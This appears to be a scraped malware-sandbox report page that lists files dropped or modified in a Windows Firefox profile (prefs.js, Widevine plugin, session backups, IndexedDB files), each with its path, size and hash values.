SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-widevinecdm\4.10.2934.0\manifest.json
Size 1001B
SHA256 25ac9b79df29fa869b4c9f4ca3bdbc3a85f6122f5a8efab5a1216d577099becc
MD5 580786a5ec9eb650dde3e0e75db8588a
SHA1 8c0835d1a6bf82e753b624440e9674d649696ead
SHA512 c8d41e16b291157e2afbf978469eae4c017d1ce3b941b93ae710e2bbaaf4c3e601db45e579d22b957b7a1ec48cba788015725a2fa23cf02f2d66010ef4fdd0a0
TLSH
T100115B10DD388D9326E4BAA21CC6580957661DAF4CC23F98379E161D8F1C8AFA37366C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-widevinecdm\4.10.2934.0\widevinecdm.dll
Size 18.9MB
SHA256 875a76af5b19622842c9b37fe77dce10ee83f27adbdcfcde9c814d4e1226d023
MD5 15fa9ea03f6f451d587b1dabb2f7b036
SHA1 a1a5cf60b693f732931f8e7512627d2840023dee
SHA512 8d5e5aa0a116bb09dd492b6b59bcd9458ded013e6b52a31dd36e81313c3f2d9ea01d5bf3ec4b0f2593633a5313705af773a4e7245d6cfd96f231332db26d75ae
SSDEEP 393216:uD9xOHbGD+l8Vm148M/i5hE4/junbj0OjLFI/USFUzUqr1d4Pg4C5/:tGD+l8VmuZ/S24/junfSFwUqYg4A
TLSH
T13717E149E36310E8E80E89F446AADA72D4743C4E03369BEF17D4BB3559727C06A79F06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 7KB
SHA256 1adb5f863851b72a99e45f177b8b963ca95ba043b809ca3eb16855e673f924af
MD5 af8caa2052fa11afc9c3bbc67a5b4f78
SHA1 69888da6fac6446b8f9a602fcbc92fa540d7e85a
SHA512 168b0c01cf966336ed371bdca72c9bdabd89ac8a944a498afe15aef3f6f0f3a0aecebf6b9b421b3e6f7bebbaabd7e7a5b2bfe6bd71fd178357dfc5221e797a85
SSDEEP 96:xHiVTUAPqGqcUfCPuObzSOSSlrdv9jHnHHCriDYzMZBw88e8L4cnHVjZ:UfCRvfCPuoSSpCaYzMZBw881L
TLSH
T1B7F1FD7895048B7FB4B6776CAC6889715AB2013BBBBF68C710B958C4064CF3841F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 6KB
SHA256 49da6c340ae97695748672ef4b8775db57d2ad9433635b87ee0b4cbc2898fd90
MD5 8046acc2f5a8d8b3dd435004354d3981
SHA1 8fdd9a5c0578f9bea2902ea7428ab04da3792fb2
SHA512 e104eed038c2e891712acd8b1227c076c29dcb5559826c1fa55eb16bcb5f03ea9eaea584ac114d3d14149ba9857d0c3a627fc4b38ef0286e634b864679a89fae
SSDEEP 96:xHiUTUAPqGqcUfCPuObzSOSSlrdv9jHnHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfCPuoSSpCaYzMgBw88qL
TLSH
T18EE11E7895088B7F74B6776CAC6888316AB2413BBBBF68C710B954C4054CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 7KB
SHA256 1c5f6b491a75ae606c2c5b623c9caf79589dec540a25733f95f20a3e75a9b9c1
MD5 31aa17ae37483e04dbd83ced4933691e
SHA1 b9da444809e9a9fb4987f4e72d1c8b9731211e30
SHA512 b45eb513ff6fd07f790587d272873dd27d2a1b284dbd5289e848cdbd4dce7d84aec6d21d83eb6f172ec2292e4b79667b53af2a7bb8f1183e588b5d7930443cca
SSDEEP 96:xHiVTUAPqGqcUfWPuObzSOSSlrdv9jHnHWRBd+riDYzMNBw88d/8L4cnHVZZ:UfCRvfWPuoSSgRmaYzMNBw88YJ
TLSH
T18DF10D789504CF7FB4B6366CAC2889715AB2013BBBBF68C710B95885065CF3841F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs.js
Size 6KB
SHA256 db764ea45cfa983416afb49a3b889d723e1e6f424ef10607a2aabb772cd6e9ad
MD5 d255899ad27016c68f2cdc9a75a971fa
SHA1 8bd80ef13437123e78b18476b41e848e0bf7ad44
SHA512 20efdc0df5eec2e1ac56106729a0f0d0d82f4e817c233b1f287c3f80fd1de3e4c30da7c498abde2c78455f38046f8cee6b3f8d3f787b146c50638f9eb1427eef
SSDEEP 96:xHiUTUAPqGqcUfCKjKnjs1zS71SSlrdv9j4nHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfCNg+1SSeCaYzMgBw88qL
TLSH
T11CE11E3895088B7F74B6776C6C6888716AB2413BB7BF68C710BA54C4055CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs.js
Size 6KB
SHA256 91eaaf91566655fbc23ce07dd0777e859f434473081d8bcc6fc01528366982d0
MD5 fbc6b42fc48632fe0ee8e288e990f25b
SHA1 82b9c943ac89c7a00a7ff642cca7442ba0e60d40
SHA512 8c364cf6f6b46e84423ac876bd8d7b6dfe887682856671f951e5c05ac0e73ea5a1641aaffd3c332c44b776db94a705d4817145767cc1134aa0d26b2a2706006d
SSDEEP 96:xHiUTUAPqGqcUfCPu1zSOSSlrdv9jHnHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfCPuDSSpCaYzMgBw88qL
TLSH
T17EE11F7895088F7F74B6776CAC6888316AB2413BB7BF68C750B95484054CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\sessionstore-backups\recovery.baklz4
Size 4KB
SHA256 996f103ac23a10013011d72ac3d02816ab88f9ac4d399d8f12abc01cef5734c5
MD5 7cc690109b62de02bba60d0e7d826d72
SHA1 1d94f9f4e118057683309c9bba5b988e389fdfb9
SHA512 75fec3a05bcc17da3acbad537959048d216e378d4e331e2de7772258cc17a53dd347cc17f6886b444815229689d0f7882254d96a7bb1920ea0c6a330b68836d3
SSDEEP 96:3sfYI6FawElyqL2TNPG4dLGyr8C/qTDA3:OYZYwEwFFG4tNwcv
TLSH
T13A917F59A4583CC1D1396376D1C43B7191E3385DC1F12890CF26562716AB6527B0A9AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 3.2MB
SHA256 b42bca49ac9ea6a86142907fc39fb27414493f31f7f5ae264dc464db69393865
MD5 2c24b134c51289410966c9ab2499baf6
SHA1 49c6e7933c351c6ff402f1461d8ed7d374dd0df9
SHA512 6711a0e8d63aaf0194e5f56fc0c8405d2550ff4e255d3c8a7ed3479a5399a0b6e5cc359ad67fd65966906a364761e55dbc265588f1098055cc1c681f500ca47b
SSDEEP 24576:vCWk+tIYI0LMrT63BDcYrVQpM9dQ49tQ8lQyQH:vjv7LG6pcYrVEM9dn9tQ+QyQ
TLSH
T12BF52AF820D2B357F3414033A64593EB21AFD00CA467CE044BA956E995B9CEF9E05B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.0MB
SHA256 dc3d3971a1967a9ab84271b0e5bb25aec849e432d93bf431e05ffffde2bac3ad
MD5 339cef221213eb6a3ecf98afa75934ac
SHA1 841821d1b5ee4d66acb4f8d4c6650e0574de139e
SHA512 86c22ed0c438aba415a6ff99773c927bc8f8396eb6add7c8c2e151c6aeb121226380a158017f0f205f519d58e52967357f2881cfe26f0b7007d51639ddd41570
SSDEEP 49152:3RbkwTqiTLQk9AbB4pt1ixwJYYr8mK6LApxDIa+pXUHR8a3tF66QOhlLH+c0hVl5:hbi+LF9AbBkt15I
TLSH
T182565DE420E2D252F38544B3719A53FB10EFC01C60768E44579896FAA5B8CEB4E877BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.0MB
SHA256 7c88e8841f9ba7a0d774d3288922b08c2422a662aa5158f2cf498b991edd57b1
MD5 9cac54a40b702fb4f96881ea670c998f
SHA1 4d3cdc7fd4951c6b56f9518979159f4c9a2497b3
SHA512 2422a1459b938f427936a8daeef59e12cb5eb97b606699f888f7f3f5f6a65f1716ee2c930491dbc3729bb596d0a95fea6ea575ab439bf53295eac8312832bcb4
SSDEEP 49152:amkKRVaAIoW8zN6wlBk17lxVgZbTIXkKTwFdMHum3bcAuYzLcGSyctwR9dTLQk9J:rFwJLF9Ab/DKiiO
TLSH
T16F565CE420E2D252F38544B3719A53FB10EFC01C60768E44579896FAA9B8CEB4D877BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite-wal

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal
Size 128KB
SHA256 1d5f28efedb1a9e41f1ed38adc1db8e8f052a22c2be73e1f87e9821c621665c4
MD5 a6f652f058c81d3204377f6291dacb14
SHA1 ce2e15c41f5a7a0b28592cb9ba7df4f1c37b3b85
SHA512 edef903b57721eedfce60f8e57c530ef319463cd2d749765c29b365b721987ebb20c6bd8357e659914bf8a3bc55362c9da2da7c2195baf797c6d65eb7522626b
SSDEEP 1536:y6S6X7rpCwKd1QMLKZAaEl8KF773455ZevnFgPbBjoQkY7Vnj6t:T7rT+1oZADl81cvCBjxYt
TLSH
T1FED31F84A9E43302F708E8B1B0EEF1BF110EC5B870F905C16768A29A5EA5DF7495F6D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads